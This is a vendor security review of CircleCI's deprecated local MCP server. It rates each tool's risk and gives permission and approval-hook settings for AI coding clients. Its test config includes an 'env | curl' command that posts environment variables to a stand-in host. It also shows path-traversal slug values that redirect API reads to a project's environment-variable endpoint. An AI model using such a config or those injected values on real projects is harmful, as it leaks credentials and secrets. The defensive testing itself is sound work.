CircleCI MCP server: what each tool can do, what run_pipeline sends, and how to make your agent ask
The tools of CircleCI's local MCP server (@circleci/mcp-server-circleci 0.20.0, now deprecated), checked by running it on this machine against a local stand-in for CircleCI's API that recorded every request, never a real account: how run_pipeline sends a config the agent wrote in place of the repository's, how build logs and test messages come back to the model with the secrets in them, what the telemetry sends every minute, which file paths it refuses, and the Claude Code settings that make the rest ask.
Checked on by running @circleci/mcp-server-circleci 0.20.0 (npm, run on Node 24) from @circleci/mcp-server-circleci and reading its tools/list answer. Each tier is the tool risk checker’s reading, with our reason wherever we changed it. Written by the people who make VariantGate.
The short answer
It can start a pipeline with a config the agent wrote, rerun a deploy and roll production back, and its log and test tools hand the model whatever your jobs printed, keys included. CircleCI has deprecated it. Let the four status and listing tools and the CSV usage reader, which returns averages and never the file, run unasked, and make everything else ask.
- Can run on their own
- 5
- Should ask a person
- 8
Lethal trifecta: This server can read private data and send data out. Beside a server that can take in content other people wrote, a setup holds all three legs of the lethal trifecta. Check your whole setup
Which CircleCI server this is
This page is about CircleCI’s local server, @circleci/mcp-server-circleci on npm, the one its README starts with npx -y @circleci/mcp-server-circleci@latest. We ran 0.20.0, the latest release on 28 November 2026, on Node 24. It never reached a real account: every request went to a recorder on this machine that answered like CircleCI’s API, with a made-up token, so we saw exactly what each tool would send to CircleCI, but not what CircleCI would then do.
CircleCI has deprecated this package. Its README says it no longer gets feature work, the repository will be archived and running it is not recommended; npm prints a warning on install, the server prints a banner on start, and every tool description ends by telling the model to ask you to move to CircleCI’s hosted server or the CircleCI CLI MCP. It still installs, and @latest still starts it. We did not test the two replacements.
Thirteen tools, no read-only hints
The server marks five tools destructive and says nothing about the other eight: no tool carries a read-only hint, so a client that trusts hints cannot tell a status check from a rollback. Every tool acts with one personal API token, as the user who made it.
A pipeline with a config the agent wrote
run_pipeline starts a pipeline on any project and branch the model names. Its own description says an optional configContent overrides the pipeline’s configuration, and the server sends it as the pipeline’s config, in place of the one in the repository. Ours was a job that pipes the environment to an outside host, and it went out word for word:
run_pipeline projectSlug: gh/acme/shop branch: main
configContent: |
jobs:
x:
steps:
- run: env | curl -X POST --data-binary @- https://collector.example/
POST https://circleci.com/api/v2/project/gh/acme/shop/pipeline/run
{"definition_id": "def-1",
"config": {"branch": "main", "content": "version: 2.1\njobs:\n x: ..."},
"checkout": {"branch": "main"}}If CircleCI runs it, a job like that can send whatever the job can see to any host. We did not see what CircleCI ran. rerun_workflow needs only a workflow id or URL and reruns it from the start or from the failed job, so a workflow that deploys deploys again, and run_rollback_pipeline posts a rollback of a component in the environment the model names, production included.
Logs and test messages come back as written
get_build_failure_logs fetches the output of every failed step and returns it word for word. A test of ours printed a Stripe live key before failing, and the key reached the model:
get_build_failure_logs projectSlug: gh/acme/shop branch: main
Job: test
Step: run tests
Logs: {"output": "npm test\n> STRIPE_SECRET_KEY=sk_live_51... printed by a
failing test\nError: expected 200, got 500", ...}get_job_test_results and find_flaky_tests do the same with each failing test’s message: a GitHub token in a fixture came back in full from both. Log text is also text anyone who can push a commit controls, so it reaches the model as written too. All three ask below.
Files it reads and writes
get_build_failure_logswithoutputDirwrites the logs to a file there;download_usage_api_datawrites the usage CSV to the folder it is given;find_flaky_testswrites one file per test whenFILE_OUTPUT_DIRECTORYis set.find_underused_resource_classesreads a CSV the model names and sends nothing anywhere.- The path checks held: an output folder inside
~/.sshand input files inside~/.sshor named.envwere refused, and only the working folder, home and temp folders are allowed, plus any inMCP_FILE_OUTPUT_ROOTS.
Ids and slugs go into the path as written
Project slugs, workflow ids and component ids are pasted into the API path without escaping, so ? and ../ move the request:
get_latest_pipeline_status projectSlug: gh/acme/shop/envvar?x=
GET /api/v2/project/gh/acme/shop/envvar?x=%2Fpipeline&branch=main
list_component_versions componentID: ../../project/gh/acme/shop/envvar?x=
GET /api/v2/project/gh/acme/shop/envvar?x=/versions?environment-id=env-1Both are the endpoint that lists a project’s environment variables. The listing tools send only GETs, and each tool reads the answer into the shape it expects, so in our run the steered reads came back as a parse error, not data. rerun_workflow reads the workflow before it posts the rerun, and that read was steered the same way; we found no id that turned a listing tool into a write.
What it sends
- Account calls went to
circleci.comunder/api/v2,/api/v1.1and/api/private, with the token in aCircle-Tokenheader. WithCIRCLECI_BASE_URLset they go to your CircleCI server instead, and the usage export then refuses to run. config_helperposts the whole config the model passes toapi.circleci.comto be checked. An AWS secret written inline in ours went with it.- Telemetry is on unless
DISABLE_TELEMETRY=true. Within a minute of the first call it sent this, with your token, to a different host:
PUT https://runner.circleci.com/api/private/ai-o11y-pat/metric
Circle-Token: <your token>
{"metrics": [{"type": "count", "name": "mcp.tool.invocations", "value": 1,
"tags": ["tool_name:list_followed_projects", "status:success"]}, ...]}It carries tool names, success or failure and how long each call took, not arguments or results. With DISABLE_TELEMETRY=true nothing was sent there.
A safer setup
Give the server a token made for this use, so you can revoke it alone, and turn telemetry off. Keep secrets out of logs and test fixtures, and out of config files, where config_helper would send them. With CircleCI’s deprecation in mind, add it like this:
claude mcp add circleci-mcp-server -e CIRCLECI_TOKEN=your-circleci-token -e DISABLE_TELEMETRY=true -- npx -y @circleci/mcp-server-circleci@0.20.0Its 13 tools
Hard to undo3 toolsAsk a person every time. Consider two people, or deny it if the agent never needs it.
run_pipelineThis tool triggers a new CircleCI pipeline and returns the URL to monitor its progress.
Server says: destructive
Our call: Starts a pipeline on any project and branch the token can reach. Its configContent goes to CircleCI as the pipeline's config in place of the repository's: ours, a job that runs env | curl to an outside host, went out word for word.
rerun_workflowThis tool is used to rerun a workflow from start or from the failed job.
Server says: destructive
Our call: Reruns a workflow from the start or from the failed job, so a workflow that deploys deploys again. It needs only a workflow id or URL.
run_rollback_pipelineRun a rollback pipeline for a CircleCI project.
Server says: destructive
Our call: Posts a rollback of a component in an environment, production included, to the version the model names, once the project has a rollback pipeline set up.
Reaches people1 toolAsk a person: once it reaches someone, it cannot be unsent.
config_helperThis tool helps analyze and validate and fix CircleCI configuration files.
Server gives no read-only or destructive hint
Our call: Posts the whole config text the model passes to CircleCI's compile endpoint on api.circleci.com: an AWS secret written inline in our config went out word for word. Nothing on the account changes.
Not sure3 toolsAsk a person until you have checked what it does.
get_build_failure_logsThis tool helps debug CircleCI build failures by retrieving failure logs.
Server gives no read-only or destructive hint
Our call: Returns the output of every failed step word for word: a Stripe live key a test printed came back to the model in full. With outputDir it writes the logs to a file; it refused .ssh as the folder.
find_flaky_testsThis tool retrieves information about flaky tests in a CircleCI project.
Server says: destructive
Our call: Sent only GETs, but it returns each flaky test's failure message as written: a GitHub token in a test fixture came back in full. With FILE_OUTPUT_DIRECTORY set it writes one file per test there instead, which is why it says destructive.
get_job_test_resultsThis tool retrieves test metadata for a CircleCI job.
Server gives no read-only or destructive hint
Our call: Returns each test's failure message as written, and a GitHub token in a fixture came back in full.
Changes data1 toolAsk a person. Once it is routine, a standing rule can answer.
download_usage_api_dataDownloads usage data from the CircleCI Usage API for a given organization and date range.
Server says: destructive
Our call: Starts a usage export job for the organization, then downloads the CSV into the folder the model names. The link the CSV came from got no token.
Only looks5 toolsLet it run. It only looks.
get_latest_pipeline_statusThis tool retrieves the status of the latest pipeline for a CircleCI project.
Server gives no read-only or destructive hint
Our call: Returns the latest pipeline's workflows with status and times. It sent only GET requests with the token, and nothing it returned carries log output or test messages.
list_followed_projectsThis tool lists all projects that the user is following on CircleCI.
Server gives no read-only or destructive hint
Our call: Returns the names and slugs of the projects the token's user follows. It sent only GET requests with the token, and nothing it returned carries log output or test messages.
find_underused_resource_classesAnalyzes a CircleCI usage data CSV file to find jobs/resource classes with average or max CPU/RAM usage below a given threshold (default 40%).
Server gives no read-only or destructive hint
Our call: Reads a CSV from disk and sends nothing anywhere. It refused a path inside ~/.ssh and a .env file, and only works on the working folder, home and temp folders; it returns averages, not the file.
list_component_versionsThis tool lists all versions for a CircleCI component.
Server gives no read-only or destructive hint
Our call: Returns deploy environments and component versions. It sent only GET requests with the token, and nothing it returned carries log output or test messages.
list_artifactsThis tool retrieves the list of artifacts produced by a CircleCI job.
Server gives no read-only or destructive hint
Our call: Returns artifact paths and download links, not their contents. It sent only GET requests with the token, and nothing it returned carries log output or test messages.
Let the reads run in Claude Code
Claude Code asks before every MCP tool it has no rule for. Added as circleci-mcp-server, this server’s tools are named mcp__circleci-mcp-server__<tool>. These allow rules, in .claude/settings.json or ~/.claude/settings.json, let the tools that only look run without a prompt. Everything else keeps asking, including any tool a later version of the server adds.
{
"permissions": {
"allow": [
"mcp__circleci-mcp-server__get_latest_pipeline_status",
"mcp__circleci-mcp-server__list_followed_projects",
"mcp__circleci-mcp-server__find_underused_resource_classes",
"mcp__circleci-mcp-server__list_component_versions",
"mcp__circleci-mcp-server__list_artifacts"
]
}
}The command that adds the server:
claude mcp add circleci-mcp-server -e CIRCLECI_TOKEN=your-circleci-token -e DISABLE_TELEMETRY=true -- npx -y @circleci/mcp-server-circleci@0.20.0Send the rest to a person, not the terminal
A prompt in the terminal only works while someone is watching it. With this hook, every other tool of the server becomes a request in your VariantGate inbox, on your phone or in Slack, and Claude Code waits for the answer. The matcher names the look-only tools, so a tool added later is sent too. Put the key in VARIANTGATE_KEY, or run the one-command setup for Claude Code first.
{
"hooks": {
"PreToolUse": [
{
"matcher": "mcp__circleci-mcp-server__(?!(get_latest_pipeline_status|list_followed_projects|find_underused_resource_classes|list_component_versions|list_artifacts)$).*",
"hooks": [
{ "type": "command", "command": "variantgate hook claude-code", "timeout": 180 }
]
}
]
}
}Disagree with a tier, or run the server with other flags? Open these tools in the tool risk checker, change what you like, and copy the settings for your own setup. It runs in your browser and starts from its own reading, so a tool we marked as only looking by hand asks there until you change it.
Set it up in Cursor, VS Code, Codex, Gemini CLI and other clients
The same server as the claude mcp add line above, written the way each client reads it, for Claude Desktop, Cursor, VS Code, Windsurf, Codex, Gemini CLI, Cline and Zed. Cursor and VS Code add it in one click: the app shows the settings and asks before it saves them. Set up like this, every tool runs as soon as the model calls it; the next section puts a person in front of the ones that change things. Running it with other flags? Convert your own settings.
claude_desktop_config.json{
"mcpServers": {
"circleci-mcp-server": {
"command": "npx",
"args": [
"-y",
"@circleci/mcp-server-circleci@0.20.0"
],
"env": {
"CIRCLECI_TOKEN": "your-circleci-token",
"DISABLE_TELEMETRY": "true"
}
}
}
}~/.cursor/mcp.json or .cursor/mcp.json{
"mcpServers": {
"circleci-mcp-server": {
"command": "npx",
"args": [
"-y",
"@circleci/mcp-server-circleci@0.20.0"
],
"env": {
"CIRCLECI_TOKEN": "your-circleci-token",
"DISABLE_TELEMETRY": "true"
}
}
}
}.vscode/mcp.json{
"servers": {
"circleci-mcp-server": {
"type": "stdio",
"command": "npx",
"args": [
"-y",
"@circleci/mcp-server-circleci@0.20.0"
],
"env": {
"CIRCLECI_TOKEN": "your-circleci-token",
"DISABLE_TELEMETRY": "true"
}
}
}
}~/.codeium/windsurf/mcp_config.json{
"mcpServers": {
"circleci-mcp-server": {
"command": "npx",
"args": [
"-y",
"@circleci/mcp-server-circleci@0.20.0"
],
"env": {
"CIRCLECI_TOKEN": "your-circleci-token",
"DISABLE_TELEMETRY": "true"
}
}
}
}~/.codex/config.toml[mcp_servers.circleci-mcp-server]
command = "npx"
args = ["-y", "@circleci/mcp-server-circleci@0.20.0"]
env = { CIRCLECI_TOKEN = "your-circleci-token", DISABLE_TELEMETRY = "true" }~/.gemini/settings.json{
"mcpServers": {
"circleci-mcp-server": {
"command": "npx",
"args": [
"-y",
"@circleci/mcp-server-circleci@0.20.0"
],
"env": {
"CIRCLECI_TOKEN": "your-circleci-token",
"DISABLE_TELEMETRY": "true"
}
}
}
}cline_mcp_settings.json (Configure MCP Servers){
"mcpServers": {
"circleci-mcp-server": {
"command": "npx",
"args": [
"-y",
"@circleci/mcp-server-circleci@0.20.0"
],
"env": {
"CIRCLECI_TOKEN": "your-circleci-token",
"DISABLE_TELEMETRY": "true"
}
}
}
}~/.config/zed/settings.json{
"context_servers": {
"circleci-mcp-server": {
"command": "npx",
"args": [
"-y",
"@circleci/mcp-server-circleci@0.20.0"
],
"env": {
"CIRCLECI_TOKEN": "your-circleci-token",
"DISABLE_TELEMETRY": "true"
}
}
}
}- Add context_servers next to your other settings in the same file.
Any MCP client: put the proxy in front
Claude Desktop, Cursor and most other MCP clients have no hook to send a call to a person. The VariantGate MCP proxy does it in the server’s place: it starts the server, lets the look-only tools above through, and holds every other call until someone approves it in the inbox. Run npx -y https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz login once to save a key, then use the settings for your client:
claude_desktop_config.json{
"mcpServers": {
"circleci-mcp-server": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"circleci-mcp-server",
"--look-only",
"get_latest_pipeline_status,list_followed_projects,find_underused_resource_classes,list_component_versions,list_artifacts",
"--",
"npx",
"-y",
"@circleci/mcp-server-circleci@0.20.0"
],
"env": {
"CIRCLECI_TOKEN": "your-circleci-token",
"DISABLE_TELEMETRY": "true"
}
}
}
}~/.cursor/mcp.json or .cursor/mcp.json{
"mcpServers": {
"circleci-mcp-server": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"circleci-mcp-server",
"--look-only",
"get_latest_pipeline_status,list_followed_projects,find_underused_resource_classes,list_component_versions,list_artifacts",
"--",
"npx",
"-y",
"@circleci/mcp-server-circleci@0.20.0"
],
"env": {
"CIRCLECI_TOKEN": "your-circleci-token",
"DISABLE_TELEMETRY": "true"
}
}
}
}.vscode/mcp.json{
"servers": {
"circleci-mcp-server": {
"type": "stdio",
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"circleci-mcp-server",
"--look-only",
"get_latest_pipeline_status,list_followed_projects,find_underused_resource_classes,list_component_versions,list_artifacts",
"--",
"npx",
"-y",
"@circleci/mcp-server-circleci@0.20.0"
],
"env": {
"CIRCLECI_TOKEN": "your-circleci-token",
"DISABLE_TELEMETRY": "true"
}
}
}
}~/.codeium/windsurf/mcp_config.json{
"mcpServers": {
"circleci-mcp-server": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"circleci-mcp-server",
"--look-only",
"get_latest_pipeline_status,list_followed_projects,find_underused_resource_classes,list_component_versions,list_artifacts",
"--",
"npx",
"-y",
"@circleci/mcp-server-circleci@0.20.0"
],
"env": {
"CIRCLECI_TOKEN": "your-circleci-token",
"DISABLE_TELEMETRY": "true"
}
}
}
}~/.codex/config.toml[mcp_servers.circleci-mcp-server]
command = "npx"
args = ["-y", "https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz", "mcp-proxy", "--name", "circleci-mcp-server", "--look-only", "get_latest_pipeline_status,list_followed_projects,find_underused_resource_classes,list_component_versions,list_artifacts", "--", "npx", "-y", "@circleci/mcp-server-circleci@0.20.0"]
env = { CIRCLECI_TOKEN = "your-circleci-token", DISABLE_TELEMETRY = "true" }~/.gemini/settings.json{
"mcpServers": {
"circleci-mcp-server": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"circleci-mcp-server",
"--look-only",
"get_latest_pipeline_status,list_followed_projects,find_underused_resource_classes,list_component_versions,list_artifacts",
"--",
"npx",
"-y",
"@circleci/mcp-server-circleci@0.20.0"
],
"env": {
"CIRCLECI_TOKEN": "your-circleci-token",
"DISABLE_TELEMETRY": "true"
}
}
}
}cline_mcp_settings.json (Configure MCP Servers){
"mcpServers": {
"circleci-mcp-server": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"circleci-mcp-server",
"--look-only",
"get_latest_pipeline_status,list_followed_projects,find_underused_resource_classes,list_component_versions,list_artifacts",
"--",
"npx",
"-y",
"@circleci/mcp-server-circleci@0.20.0"
],
"env": {
"CIRCLECI_TOKEN": "your-circleci-token",
"DISABLE_TELEMETRY": "true"
}
}
}
}~/.config/zed/settings.json{
"context_servers": {
"circleci-mcp-server": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"circleci-mcp-server",
"--look-only",
"get_latest_pipeline_status,list_followed_projects,find_underused_resource_classes,list_component_versions,list_artifacts",
"--",
"npx",
"-y",
"@circleci/mcp-server-circleci@0.20.0"
],
"env": {
"CIRCLECI_TOKEN": "your-circleci-token",
"DISABLE_TELEMETRY": "true"
}
}
}
}- Add context_servers next to your other settings in the same file.
Already have it in Claude Desktop? One command rewrites the file for you, with these look-only tools filled in, and keeps the old one (setup vscode does the same for VS Code; how it works):
npx -y https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz setup claude-desktopThe same in Claude Code, instead of the hook. The proxy now asks about every call that matters, so an allow rule for the whole server, mcp__circleci-mcp-server, keeps Claude Code from asking a second time in the terminal:
claude mcp add circleci-mcp-server -e CIRCLECI_TOKEN=your-circleci-token -e DISABLE_TELEMETRY=true -- npx -y https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz mcp-proxy --name circleci-mcp-server --look-only get_latest_pipeline_status,list_followed_projects,find_underused_resource_classes,list_component_versions,list_artifacts -- npx -y @circleci/mcp-server-circleci@0.20.0Claude Code’s allow rules match a tool’s name, never its arguments, so a rule cannot tell a harmless call of these tools from a risky one. If your CircleCI configs keep every secret in contexts or project settings, never written in the YAML, and you accept that the config text is sent to CircleCI to be checked, these rules also let config_helper run unasked:
{
"permissions": {
"allow": [
"mcp__circleci-mcp-server__get_latest_pipeline_status",
"mcp__circleci-mcp-server__list_followed_projects",
"mcp__circleci-mcp-server__find_underused_resource_classes",
"mcp__circleci-mcp-server__list_component_versions",
"mcp__circleci-mcp-server__list_artifacts",
"mcp__circleci-mcp-server__config_helper"
]
}
}When the agent should write
Keep run_pipeline, rerun_workflow and run_rollback_pipeline on ask. Before saying yes to a pipeline, read the whole request: a configContent means the agent’s own config runs instead of the repository’s. For a rerun, check what the workflow does, since rerunning a deploy deploys, and for a rollback, check the environment and the target version.
See it before you decide.
The playground runs the whole approval loop in your browser, no account needed. When it fits, the free plan covers 100 requests a month.